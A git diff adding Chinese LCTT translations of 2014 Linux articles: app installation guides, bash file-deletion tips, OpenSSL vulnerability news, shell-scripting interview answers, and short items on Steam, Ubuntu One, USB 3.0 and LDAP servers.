http://www.unixmen.com/extract-images-videos-using-ffmpeg/ + +译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/20140607 How To Install iCup 2014 In Linux.md b/published/201406/20140607 How To Install iCup 2014 In Linux.md new file mode 100644 index 0000000000..dd38b3238c --- /dev/null +++ b/published/201406/20140607 How To Install iCup 2014 In Linux.md @@ -0,0 +1,33 @@ +在Linux上用iCup追世界杯 +================================================================================ +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/icup2014-790x389.png) + +嗨,Linux 极客们, + +在本文简短的叙述中,我将教您如何在Linux中安装一个非常棒的2014FIFA世界杯APP。这个应用叫iCup,支持Windows,Mac以及伟大的Linux。 + +我看足球比赛已经有很长的时间了,所以我得在我的电脑上装个这样的应用来保持更新2014世界杯的最新情况。我可不想在我朋友们面前看起来像一无所知的笨货。iCup应用正好提供了每一场赛程、比分、球队教练组等信息。更有提供实时比赛更新,给您提供 正在进行的比赛的最新数据。 + +### 支持以下功能: ### + +- 30种语言支持,完全本地化(使用语言菜单选择) +- 独家的灵活界面可随意调整窗口大小 +- 可按日期或阶段检索比赛日历 +- 可视化分组 +- 支持自动转变比赛时间来适应本地时间和格式 +- 一键化社交网络发表比赛评论(支持Facebook,Google+和Twitter) +- 支持代理(支持基本认证和摘要认证方法) + +我已经在Ubuntu12.04LTS上用过而且真的很好用!目前为止,这款软件还没有出错或者崩溃过。通过[官方网站][1]您可以下载到压缩包并且十分轻松地安装这个很棒的应用,然后您可以解压到任何您喜欢的地方。解压完成后,双击iCup 2014 FREE- Brazil运行。 + +iCup真心好用,我希望您也能用其享受世界杯! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-icup-2014-linux/ + +译者:[Vic020](http://www.vicyu.net) 校对:[213edu](http://ryanhu.me/) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.e-link.it/icup/brazil2014/icup-brazil-2014-desktop-app.php diff --git a/published/201406/20140607 Linux--Bash Delete All Files In Directory Except Few.md b/published/201406/20140607 Linux--Bash Delete All Files In Directory Except Few.md new file mode 100644 index 0000000000..d75e0c9ce5 --- /dev/null +++ b/published/201406/20140607 Linux--Bash Delete All Files In Directory Except Few.md @@ -0,0 +1,115 @@ +Linux:使用bash删除目录中的特定文件 +================================================================================ +![](http://s0.cyberciti.org/images/category/old/terminal.png) + +我是一名Linux新用户。现在我需要清理一个下载目录中的文件,其实我就是想从~/Download/文件夹删去除了以下格式的文件外所以其它文件: + +- *.iso - 所有的iso格式的文件。 +- *.zip - 所有zip格式的文件。 + +我如何在一个基于Linux,OS X 或者 Unix-like 系统上的bash shell中删除特定的文件呢? + +Bash shell 支持丰富的文件模式匹配符例如: + +- * - 匹配所有的文件。 +- ? - 匹配文件名中的单个字母。 +- [...] - 匹配封闭括号中的任何一个字母。 + +### 策略 #1: 见识一下扩展的模式匹配符 ### + +这里你需要用系统内置的shopt命令来开启shell中的extglob选项,然后你就可以使用扩展的模式符了,这些模式匹配符如下: + +1. ?(模式列表) - 匹配零次或一次给定的模式。 +1. *(模式列表) - 匹配零次或多次给定的模式。 +1. +(模式列表) - 至少匹配一次给定的模式。 +1. @(模式列表) - 匹配一次给定的模式。 +1. !(模式列表) - 不匹配给定模式。 + +一个模式列表就是一个或多个用 | 分开的模式(文件名)。 + +首先要打开extgolb选项: + + shopt -s extglob + +#### 在Bash中删掉除*.zip和*.iso文件以外的所有文件 #### + +rm 命令的语法格式为: + + ## 仅保留 file1 文件 ## + rm !(file1) + + ## 仅保留 file1 和 file2 文件## + rm !(file1|file2) + + ## 仅保留 zip 文件 ## + rm !(*.zip) + + ## 仅保留 zip 和 iso 文件 ## + rm !(*.zip|*.iso) + + ## 你也可以使用完整的目录 ## + rm /Users/vivek/!(*.zip|*.iso|*.mp3) + + ## 也可以传递参数 ## + rm [选项] !(*.zip|*.iso) + rm -v !(*.zip|*.iso) + rm -f !(*.zip|*.iso) + rm -v -i !(*.php) + +最后,关闭 extglob 选项方法如下: + + shopt -u extglob + +### 策略 #2: 使用bash的 GLOBIGNORE 变量删除指定文件以外的所有文件 ### + +摘自 [bash(1)][1] 手册页: + +> 这是一个用冒号分开的模式列表,通过路径展开方式定义了要忽略的文件集合。如果一个匹配到路径展开模式的文件也匹配GLOBIGNORE中的模式,那么它会从匹配列表中移除。 + +要删除所有文件只保留 zip 和 iso 文件,应如下设置 GLOBIGNORE: + + ## 只在 BASH 中可行 ## + cd ~/Downloads/ + GLOBIGNORE=*.zip:*.iso + rm -v * + unset GLOBIGNORE + +### 策略 #3: 用 find 命令删除所有其它文件仅保留 zip 和 iso 文件 ### + + +如果你正在使用 tcsh/csh/sh/ksh 或者其它shell,你可以在Unix-like系统上试着用下面find命令的语法格式来删除文件: + + find /dir/ -type f -not -name '匹配模式' -delete + +或者 + + ## 对于怪异的文件名可以使用 xargs ## + find /dir/ -type f -not -name '匹配模式' -print0 | xargs -0 -I {} rm {} + find /dir/ -type f -not -name '匹配模式' -print0 | xargs -0 -I {} rm [选项] {} + + +想要删除 ~/source 目录下除 php 以外的文件,键入: + + find ~/sources/ -type f -not -name '*.php' -delete + +或者 + + find ~/sources/ -type f -not -name '*.php' -print0 | xargs -0 -I {} rm -v {} + +只保留 *.zip 和 *.iso 文件的语法如下: + + find . -type f -not \( -name '*zip' -or -name '*iso' \) -delete + + +更多信息参见[bash command man page][1]和[find command man page][2]。 + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/faq/linux-bash-delete-all-files-in-directory-except-few/ + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.manpager.com/linux/man1/bash.1.html +[2]:http://www.manpager.com/linux/man1/find.1.html diff --git a/published/201406/20140607 New OpenSSL breach is no Heartbleed-but needs to be taken seriously.md b/published/201406/20140607 New OpenSSL breach is no Heartbleed-but needs to be taken seriously.md new file mode 100644 index 0000000000..733881d0e1 --- /dev/null +++ b/published/201406/20140607 New OpenSSL breach is no Heartbleed-but needs to be taken seriously.md @@ -0,0 +1,58 @@ +新的OpenSSL分支未包含Heartbleed漏洞,但需要认真看待 +================================================================================ +> 摘要:当被最新的OpenSSL安全问题困扰时,你最好解决它,虽然它并不像Heartbleed那样糟糕。 + +这一周对于开源的Secure Socket Layer (SSL)来说真是糟糕的一周。 + +首先,[GnuTLS低调的宣称,存在一个不大][1]但确实存在的缺陷。然后,大范围流行的OpenSSL被发现包含一个[中间人漏洞][2]。在[Heartbleed漏洞][3]惨剧后,OpenSSL要醒醒了。 + +![](http://cdn-static.zdnet.com/i/r/story/70/00/030273/openssl-200x55.png?hash=MwyxMwt0MJ&upscale=1) + +这个漏洞,根据谷歌高级软件工程师Adam Langley描述,已经[至少存在了15年时间][4]。可惜Core Infrastructure Initiative(CII)[提供了让更多的程序员来拯救OpenSSL的资金][5],却尚未来得及发挥作用。 + +也就是说这个漏洞依然是和Heartbleed漏洞一样糟糕。对于一些新手,攻击者需要在系统和浏览器或其它启用了SSL的客户端之间来利用这个安全漏洞。 + +尽管它只是可能被利用,你依然需要尽可能快的通过升级来解决这个漏洞。就像[NTT Com Security][6]的评估服务负责人Chris Camejo在邮件采访里说的,“这很糟糕,因为已经存在了这么长的时间,看起来传播范围相当广泛。” + +他补充到:“如果利用它,攻击者可以解密流量。从SSL的设计目的看,这是一个很严重的问题。SSL被广泛地用来在网站和邮件中保护很多的密码,信用卡卡号和其他的敏感信息。” + +在另外一个采访中,Red Hat的产品安全高级负责人Mark Cox详细深入地介绍了[细节][7]。Cox说,OpenSSL已修正了一些安全缺陷,但是我们需要想办法告诉人们不要因为Heartbleed而陷入恐慌。 + +Cox解释说,Heartbleed漏洞在公布之前得到了修补,但利用此漏洞的消息在修补程序之前传开,因此在这个问题上招致了许多抱怨。最新的情况,已有七个安全问题得到了修补,但其中只有两项需要管理员和用户的关注。 + +Cox继续说道,第一个,是数据报传输层安全 (DTLS)的bug。到目前为止,还没有已知的攻击,但是存在针对它攻击成功的潜在性。 + +因此,虽然DTLS使用不广泛,如果您确实在使用它,它应尽快修补。 + +Cox然后说,“这个问题的实际上是中间人攻击”。实际上,真的要有个“在中间的”人,来利用易受攻击的服务器和客户端之间的漏洞。 + +但如果有人真的这样做到了,他们就能“绕过SSL并拿到原始数据...这是一个相当严重的问题”。 + +但是,如同从理论上讲任何人都可以利用Heartbleed漏洞来攻击SSL服务器。攻击并利用此漏洞需要能接触到客户端和服务器之间的通信网络。例如,成功的攻击可能需要架设一个假的公开Wi-Fi接入点,才能攻击到使用这个WIFI的Android版本的Chrome网络浏览器与未安装修补程序的Web服务器之间的SSL通讯。幸运的是,谷歌[已经发布了更新的版本的浏览器][8],35.0.1916.141,以消除此问题。 + +Cox继续说,最易受攻击的系统是未安装修补程序的Android设备使用一个假的Wi-Fi接入点。Morrell补充说因为Android用户并没有被他们的手机供应商和电信公司重视,安全漏洞更新前他们可能会受漏洞影响相当长的时间。 + +幸运的是,如果他们用连接的服务器已经更新,他们也不会受到攻击。 + +OpenSSL安全社区自5月初以来已经知道这个问题。社区与Red Hat、其他主要Linux和开源社团和硬件供应商,要解决这个问题,不只是简单修补bug,而且要测试修复,以便他们可以确认漏洞已经修复,大家都已经安全了,而没有引入任何新的安全问题,并可在大多数 OpenSSL服务器和客户端的组合上工作。 + +现在,这个补丁已经有了,OpenSSL试着通过补丁解决安全缺陷,向公众表明对这些问题不必有任何不必要的恐慌。Cox补充说,主要的Linux供应商,如Red Hat和Ubuntu,已经有可用的修补程序。 + +所有的管理员都需要给服务器下载并安装补丁,而不是放任安全漏洞。 + +-------------------------------------------------------------------------------- + +via: http://www.zdnet.com/new-openssl-breech-is-no-heartbleed-but-needs-to-be-taken-seriously-7000030273/ + +译者:[lolipop](https://github.com/stduolc) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.zdnet.com/another-serious-gnutls-bug-exposes-linux-clients-to-server-attacks-7000030205 +[2]:http://www.zdnet.com/openssl-fixes-another-severe-vulnerability-7000030253/ +[3]:http://www.zdnet.com/heartbleed-serious-openssl-zero-day-vulnerability-revealed-7000028166 +[4]:https://www.imperialviolet.org/2014/06/05/earlyccs.html +[5]:http://www.zdnet.com/corporations-put-their-cash-where-their-open-source-security-is-7000030023/ +[6]:http://www.nttcomsecurity.com/us/ +[7]:http://ec.libsyn.com/p/6/a/5/6a58036510bae37c/CloudEvangelistPodcast_Ep92_MarkCox.mp3?d13a76d516d9dec20c3d276ce028ed5089ab1ce3dae902ea1d06c88537d1ce596fdc&c_id=7251647) +[8]:http://googlechromereleases.blogspot.com/2014/06/chrome-for-android-update.html \ No newline at end of file diff --git a/published/201406/20140607 Nuvola Player 2.4.0 Released -- A Online Cloud Music Player for Linux.md b/published/201406/20140607 Nuvola Player 2.4.0 Released -- A Online Cloud Music Player for Linux.md new file mode 100644 index 0000000000..fe32c4c48d --- /dev/null +++ b/published/201406/20140607 Nuvola Player 2.4.0 Released -- A Online Cloud Music Player for Linux.md @@ -0,0 +1,108 @@ +Linux下的在线云音乐播放器 —— Nuvola Player 2.4.0发布 +================================================================================ +**Nuvola Player**是一个开源的播放器,可以在其web界面中运行像Amazon云播放器,Bandcamp,Deezer,8tracks,Google Play音乐,Grooveshark,Hyper Machine以及Pandora等等云音乐服务,同时它也能整合到Linux桌面中。 + +该应用程序以插件的形式提供了大量的功能特性,像桌面通知、系统托盘、多媒体键、媒体播放器小程序、停靠栏菜单、歌词、last.fm等等。 + +**2014年5月31日**,**Nuvola Player 2.4.0**的一个新版本发布了 —— 它带来了一些新的特性,包括两个新的服务“Logitech Media Server”和“This is My Jam ”,以及众多的bug修复。 + +### 这个发布中有什么新东西 ### + +- 删除了破损的隐藏Google+按钮选项,因为Google修改代码过于频繁了。 +- 加快了服务设置的启用速度,不需要再重新加载。 +- 修复了暂停和播放/暂停动作开关。 +- 为Chrome添加了兼容问题警告桌面通知。 +- 提供了页面内导航按钮(现在用户可以在Google Play标识旁边的顶部栏中找到它)。 +- 添加了“Logitech Media Server”和“This is My Jam ”服务。 +- 包含了对鼠标后退/前进按钮的支持。 +- 修复了对GNOME锁屏通知的支持。 + +要查看完整的特性列表,请访问官方发行[声明页面][1] + +## 在Debian, Ubuntu和Linux Mint中安装Nuvola Player ## + +官方的Nuvola Player仓库中包含了**Ubuntu 14.04, 13.10, 12.10, 12.04**以及**Linux Mint 17, 16, 15, 14.**可用的二进制包,你可以通过添加Nuvola Player仓库到你的系统中来安装二进制包‘nuvolaplayer’。 + +### 在Ubuntu和Linux Mint上 ### + +打开终端并运行以下一系列命令: + + $ sudo add-apt-repository ppa:nuvola-player-builders/stable + $ sudo apt-get update + $ sudo apt-get upgrade + $ sudo apt-get install nuvolaplayer + +**注**:请不要忽略系统更新命令‘sudo apt-get upgrade’,否则你的apt-get安装Flash插件可能会失败。 + +如果你不需要Nuvola Player支持Flash插件,你可以忽略系统升级命令,并使用以下命令来安装不带Flash支持得nuvolaplayer。 + + $ sudo apt-get --no-install-recommends install nuvolaplayer + +### 在Debian上 ### + +对于**Debian Wheezy**和**Debian Sid**,可以从官方仓库中获取稳定的Nuvola Player二进制包。你可以使用下面这一堆命令来安装最新的稳定版。 + +首先,打开终端并导入公钥,然后添加仓库到‘**sources.list**‘文件,接着像下面这样进行一次系统更新来安装nuvolaplayer。 + +#### Debian Wheezy #### + + $ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 706C220A + $ sudo sh -c 'echo "deb http://ppa.fenryxo.cz/nuvola-player/ wheezy main" >> /etc/apt/sources.list' + $ sudo sh -c 'echo "deb-src http://ppa.fenryxo.cz/nuvola-player/ wheezy main" >> /etc/apt/sources.list' + $ sudo apt-get update + $ sudo apt-get install nuvolaplayer + +#### Debian Sid #### + + $ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 706C220A + $ sudo sh -c 'echo "deb http://ppa.fenryxo.cz/nuvola-player/ sid main" >> /etc/apt/sources.list' + $ sudo sh -c 'echo "deb-src http://ppa.fenryxo.cz/nuvola-player/ sid main" >> /etc/apt/sources.list' + $ sudo apt-get update + $ sudo apt-get install nuvolaplayer + +**注**:Nuvola Player依赖于打包的Flash插件,而该插件会因为存在库文件冲突(**GTK+ 2和**GTK+ 3**)而默认不会安装。 + +要解决该问题,我们需要启用flash**PPA**组件来安装‘**nuvolaplayer-flashplugin**‘包,命令如下。 + + $ sudo sh -c 'echo "deb http://ppa.fenryxo.cz/nuvola-player/ sid main beta flash" >> /etc/apt/sources.list' + $ sudo sh -c 'echo "deb-src http://ppa.fenryxo.cz/nuvola-player/ sid main beta flash" >> /etc/apt/sources.list' + $ apt-get update + $ apt-get install nuvolaplayer-flashplugin + +一旦完成安装,你可以在**菜单**中找到该应用并启动它。记住,想要听音乐,你必须连接到互联网。 + +### Nuvola Player美图欣赏 ### + +![Nuvola Player Services](http://www.tecmint.com/wp-content/uploads/2014/06/Nuvola-Player.jpeg) +选择音乐服务 + +![Grooveshark Music Service](http://www.tecmint.com/wp-content/uploads/2014/06/Nuvola-Player-01.jpeg) +Grooveshark音乐服务 + +![Grooveshark Playing Music](http://www.tecmint.com/wp-content/uploads/2014/06/Nuvola-Player-02.jpeg) +Grooveshark播放音乐 + +![Nuvola Player Preferences](http://www.tecmint.com/wp-content/uploads/2014/06/Nuvola-Player-03.jpeg) +Nuvola Player首选项 + +![Google Play Music](http://www.tecmint.com/wp-content/uploads/2014/06/Nuvola-Player-05.jpeg) +Google Play音乐 + +![Rdio Music Service](http://www.tecmint.com/wp-content/uploads/2014/06/Nuvola-Player-06.jpeg) +Rdio音乐服务 + +![About Nuvola Player](http://www.tecmint.com/wp-content/uploads/2014/06/Nuvola-Player-04.jpeg) +关于Nuvola Player + +对于其它Linux发行版,你可以从 Nuvola Player[启动板下载][2]页下载源码tarball。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-nuvola-player-in-linux/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://nuvolaplayer.fenryxo.cz/releases/2.4.html +[2]:https://launchpad.net/nuvola-player/+download diff --git a/published/201406/20140607 Practical Interview Questions and Answers on Linux Shell Scripting.md b/published/201406/20140607 Practical Interview Questions and Answers on Linux Shell Scripting.md new file mode 100644 index 0000000000..460f0d01ec --- /dev/null +++ b/published/201406/20140607 Practical Interview Questions and Answers on Linux Shell Scripting.md @@ -0,0 +1,174 @@ +实用的Linux SHELL面试问题及答案 +================================================================================ + +随着之前有关面试的系列文章,读者的反应比较强烈,所以我决定出一篇有关Linux Shell相关的面试文章,如果对本文有什么意见或意见的话,欢迎反馈到我的邮箱里。 + +如果想要阅读已发表在Tecmint.com的文章,可以点击链接,链接到[访谈系列] [1],在这里我们已经介绍很多题目即文章。,FTP,MySQL和Apache的,脚本,Linux命令等。 + +![Practical Interview Question on Shell Scripting](http://www.tecmint.com/wp-content/uploads/2014/06/Interview-Questions-on-Shell-Scripting.png) +> 实用的shell脚本面试问题 + +这边提到的5个面试问题,延续之前的有关Linux面试问题和答案。如果你是Tecmint.com的读者,你的支持我非常感谢。 + +### 1. 写一个shell脚本来得到当前的日期,时间,用户名和当前工作目录。 ### + +> **答案** : 输出用户名,当前日期和时间,以及当前工作目录的命令就是logname,date,who i am和pwd。 + +现在,创建一个名为**`userstats.sh`**文件,将下面的代码添加到它。 + + #!/bin/bash + echo "Hello, $LOGNAME" + echo "Current date is `date`" + echo "User is `who i am`" + echo "Current directory `pwd`" + +给它添加执行权限,并且执行他。 + + # chmod 755 userstats.sh + # ./userstats.sh + +#### 样例输出 #### + + Hello, avi + Current date is Sat Jun 7 13:05:29 IST 2014 + User is avi pts/0 2014-06-07 11:59 (:0) + Current directory /home/avi/Desktop + +### 2.写一个shell脚本,进行两个数字的相加,如果没有输入参数就输出错误信息和一行使用说明### + +> **答案** : 下面是简单的shell脚本以及描述,如果没有命令行参数,它会抛出错误与如何使用脚本的说明。 + +再创建一个名为**`twonumbers.sh`**文件和下面的内容添加到文件里。 + + #!/bin/bash + # The Shebang + + if [ $# -ne 2 ] + # If two Inputs are not received from Standard Input + + then + # then execute the below statements + + echo "Usage - $0 x y" + # print on standard output, how-to use the script (Usage - ./1.sh x y ) + + echo " Where x and y are two nos for which I will print sum" + # print on standard output, “Where x and y are two nos for which I will print sum ” + + exit 1 + # Leave shell in Error Stage and before the task was successfully carried out. + + fi + # End of the if Statement. + + echo "Sum of $1 and $2 is `expr $1 + $2`" + # If the above condition was false and user Entered two numbers as a command Line Argument, + it will show the sum of the entered numbers. + +给他添加可执行权限,并且执行。 + + # chmod 755 two-numbers.sh + +**情形一**: 未输入两个数字作为命令行参数运行脚本,你将得到下面的输出。 + +#### 样例输出 #### + + # ./two-numbers.sh + + Usage - ./two-numbers.sh x y + Where x and y are two nos for which I will print sum + +**情形二**: 当数字存在时,你会得到如图所示的结果。 + + $ ./two-numbers.sh 4 5 + + Sum of 4 and 5 is 9 + +因此,上述shell脚本满足了问题的要求。 + +### 3.你需要打印一个给定的数字的反序,如输入10572,输出27501,如果没有输入数据,应该抛出错误和使用脚本说明。在此之前,告诉我你需要在这里使用的算法。 ### + +#### 算法 #### + +1. 输入的数字为n +2. 赋值 rev=0, sd=0 (反向和单个数字设置为0) +3. n % 10, 将得到最左边的数字 +4. 反向数字可以用这个方法生成 rev * 10 + sd +5. 对输入数字进行右位移操作(除以10) +6. 如果n > 0, 进入第三步,否则进行第七步 +7. 输出rev + +现在,创建一个名为**`numbers.sh**`文件,并添加以下代码。 + + #!/bin/bash + if [ $# -ne 1 ] + then + echo "Usage: $0 number" + echo " I will find reverse of given number" + echo " For eg. $0 0123, I will print 3210" + exit 1 + fi + + n=$1 + rev=0 + sd=0 + + while [ $n -gt 0 ] + do + sd=`expr $n % 10` + rev=`expr $rev \* 10 + $sd` + n=`expr $n / 10` + done + echo "Reverse number is $rev" + +授予对文件的执行权限,并运行如下所示的脚本。 + + # chmod 755 numbers.h + +**情形一**: 当输入不包含命令行参数,你将得到下面的输出。 + +#### 样例输出 #### + + ./numbers.sh + + Usage: ./numbers.sh number + I will find reverse of given number + For eg. ./2.sh 123, I will print 321 + +**情形二**: 正常输入 + + $ ./numbers.sh 10572 + + Reverse number is 27501 + +上面的脚本非常完美,输出正是我们需要的。 + +### 4. 你应该直接用终端,而不是依靠任何shell脚本来进行实数计算。你会怎么做(比如实数7.56+2.453)? ### + +> **答案** : 我们需要用如下所述的特殊方式使用bc命令。将7.56+2.453作为输入通过管道进入bc中。 + + $ echo 7.56 + 2.453 | bc + + 10.013 + +### 5. 你需要给出圆周率的值,精度为小数点后100位,什么是最简单的方法。 ### + +> **答案** : 找圆周率的值最简单的方法,我们只是需要发出以下命令。 + + # pi 100 + + 3.141592653589793238462643383279502884197169399375105820974944592307816406286208998628034825342117067 + +很明显!安装我们必须有包**`pi`**。只用一个**apt**或**yum**命令,就能获得所需的软件包,同时用最简单方法来实现这个需求。 + +就是这样。我会很快在Tecmint.com发表另一个有趣的文章。至此敬请关注。别忘了向我们提供您在的评论和反馈。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/practical-interview-questions-on-linux-shell-scripting/ + +译者:[MikeCoder](https://github.com/MikeCoder) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/category/interview-questions/ \ No newline at end of file diff --git a/published/201406/20140607 Steam Hits The Big 500 For Linux Games.md b/published/201406/20140607 Steam Hits The Big 500 For Linux Games.md new file mode 100644 index 0000000000..8bf6cc7b5f --- /dev/null +++ b/published/201406/20140607 Steam Hits The Big 500 For Linux Games.md @@ -0,0 +1,21 @@ +Steam平台Linux游戏突破500大关 +================================================================================ +![](http://www.gamingonlinux.com/uploads/articles/article_images/1401998399steam.png) + +这是一个很棒的里程碑不是吗?Steam上现在已经有500个(截至6月7日已有509个)兼容Linux的游戏了,对任何人而言这都着实是个巨大的数目。人们将不再一直说着“可是Linux上没有游戏”,但令人悲伤的是他们会说Linux上几乎没有AAA级的游戏大作(这确实是事实),但这会是一个循序渐进建立起游戏生态的过程。 + +我一直在说这个(译注:指Linux游戏会增多的), 但我仍从没想过我们会有一天像这样实现它。我毫不怀疑今年晚些时候我们能够有XCOM,Civilization(文明)以及更多即将到来游戏令人惊喜的发布消息。 + +一旦Steam Machines/SteamOS发布,如果它们获得了成功我们应该可以看到Linux平台游戏数目甚至上升得更快。 + +所以,Steam上的支持Linux平台的游戏数目达到1000还要多久?也许是今年末,谁知道呢! + +我现在要去拿我的派对帽了...你也要庆祝这个里程碑吗? + +-------------------------------------------------------------------------------- + +via: http://www.gamingonlinux.com/articles/steam-hits-the-big-500-for-linux-games.3849 + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/20140607 Ubuntu One Formally Shuts Down.md b/published/201406/20140607 Ubuntu One Formally Shuts Down.md new file mode 100644 index 0000000000..fcc13acc67 --- /dev/null +++ b/published/201406/20140607 Ubuntu One Formally Shuts Down.md @@ -0,0 +1,42 @@ +Ubuntu One服务正式关闭 +================================================================================ +**Ubuntu One服务现已正式关闭。在7月31日之前你还能够获取你存储的文件,否则它们将被永远删除。** + +Canonical在今年早些时候宣布[将会关闭这项服务][1],理由是缺乏付费用户以及和Google,Dropbox以及其它云存储服务日益增加的竞争,这是他们作出这个决定的首要原因。 + +在尝试登录Ubuntu One控制面板的时候会显示下图所示的通知来提醒用户服务已经中止: + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/06/ubuntu-one-not.png) + +本月早些时候Ubuntu 12.04 LTS收到了一个推送更新,提醒用户Ubuntu One不久后将会被从桌面移除,至于Ubuntu 14.04 LTS,在四月发布时就已没有预装Ubuntu One。 + +### 获取你的数据 ### + +要将你的数据以**.zip**文件的形式下载下来,你只需登录,然后点击在通知下方的橙色按钮。 + +Canonical也和云存储迁移服务商[mover.io][2]达成合作,允许用户直接从Ubuntu One向其它服务,比如Dropbox,Google Drive以及Copy导入文件。 + +Mover,一个云存储迁移服务商,它盛誉Ubuntu One为“...一个世界级的文件同步及分享产品”,现向Ubuntu One用户免费提供数据迁移服务,尽管它需要用户创建一个账户。该公司通常只允许免费用户迁移最多2GB的数据。 + +向了解通过mover.io将你的数据迁移到Google Drive的更多细节,请查阅下列知识库文章。 + +- [从Ubuntu One向Google Drive迁移][3] + +### 关于退款 ### + +对于那些已经为额外存储空间以及Ubuntu One音乐服务付费的用户,Canonical告知这些用户将会在接下来7到10天内收到退款。 + +如果你正在寻找Ubuntu One的替代服务,可以查看我们总结的[读者中使用的最流行的云服务][4]。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/06/ubuntu-one-discontinued-grab-files-now + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.omgubuntu.co.uk/2014/04/canonical-axe-ubuntu-one-file-music-services-grab-data-now +[2]:http://mover.io/ +[3]:http://support.mover.io/knowledgebase/articles/346927-how-to-transfer-from-ubuntu-one-to-google-drive +[4]:http://www.omgubuntu.co.uk/2014/04/three-alternatives-ubuntu-one diff --git a/published/201406/20140609 How To Know If Your System Has USB 3.0 Port In Linux [Quick Tip].md b/published/201406/20140609 How To Know If Your System Has USB 3.0 Port In Linux [Quick Tip].md new file mode 100644 index 0000000000..4b4e7a03e2 --- /dev/null +++ b/published/201406/20140609 How To Know If Your System Has USB 3.0 Port In Linux [Quick Tip].md @@ -0,0 +1,32 @@ +[小白技巧]如何在Linux中知道你的系统是否有USB 3.0 端口 +================================================================================ + +近来的大多数的新计算机都有了USB 3.0接口了。但是**你怎么知道你的计算机有没有USB 3.0接口**?这篇短文中,我们会告诉如何在Linux下知道你的系统上有USB 3还是USB3接口。 + +### 在Linux终端中检测是否有USB 3.0 端口 ### + +打开一个终端,并使用下面的命令: + + lsusb + +这个命令会显示你系统下USB的总线信息。检查一下结果,如果你看到像“3.0 root hub”字样,这意味着你系统有USB 3.0。比如,在我的电脑上,它这样显示: + +![How to find if system has USB 3.0 in Linux](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/06/Know_Usb3_Ubuntu_Linux.jpeg) + +这个技巧在所有的Linux系统上,像Ubuntu,Linux Mint,Fedora等等都有效。现在当你知道你有USB 3.0 端口之后,**如何辨别哪个口是USB 3.0,哪个是USB 2.0。 + +### 辨别哪个口是USB 3.0 ### + +通常USB 3.0 口被标记为SS(“Super Speed”的缩写)。如果你的系统制造商没有标记SS或者USB 3,那么你可以检查端口的内部通常是蓝色的。 + +![find usb 3.0 port](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/06/usb3.0port.jpg) + +我希望这个快捷提示能够帮助你知道你系统是否有USB 3.0 并可以分辨出USB 3.0 口 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/find-usb-3-port-linux/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/20140609 Open Source LDAP Solutions.md b/published/201406/20140609 Open Source LDAP Solutions.md new file mode 100644 index 0000000000..29d7b636d9 --- /dev/null +++ b/published/201406/20140609 Open Source LDAP Solutions.md @@ -0,0 +1,33 @@ +开源LDAP解决方案 +================================================================================ +LDAP(轻量级目录访问协议)是一个用于访问目录服务的应用协议,它运行在TCP/IP堆栈的上一层,采用简单的编码方法,并提供了便捷的方式来连接到互联网目录,特别是基于X.500的目录服务,并对它们进行搜索和修改。LDAP是一个开放的、中立的,并且具有工业标准的应用协议,它采用客户端-服务器模式。 + +该协议主要针对管理应用程序和提供对目录读/写操作的浏览器应用程序。 + +使用LDAP服务器的主要好处在于,整个组织的信息可以合并到一个中央仓库统一管理。LDAP支持安全套接协议层(SSL)和传输层安全协议(TLS),因而敏感信息可以受到保护。LDAP服务器用于多种任务,包括但不限于这些服务:用户认证、机器认证、用户/系统分组、资源追踪、组织演示以及应用配置存储。 + +为了提供对可用开源软件质量的深刻了解,我们列出了5个高品质的LDAP解决方案。 + +现在,让我们浏览手头上的5个LDAP解决方案吧。每个标题,我们都提供了连接页面,里面有对其功能特性的深度分析,同时提供了相关资源和评论的链接。 + +### LDAP解决方案 ### + +- [389目录服务器][1] - 企业级开源LDAP服务器 +- [OpenDJ][2] - API经济的云目录服务 +- [OpenLDAP][3] - 应用程序和开发工具的LDAP套件 +- [freeIPA][4] - 身份/策略管理 +- [ApacheDS][5] - 编写的LDAP和Kerberos服务器 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20140607022012848/LDAPSolutions.html + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 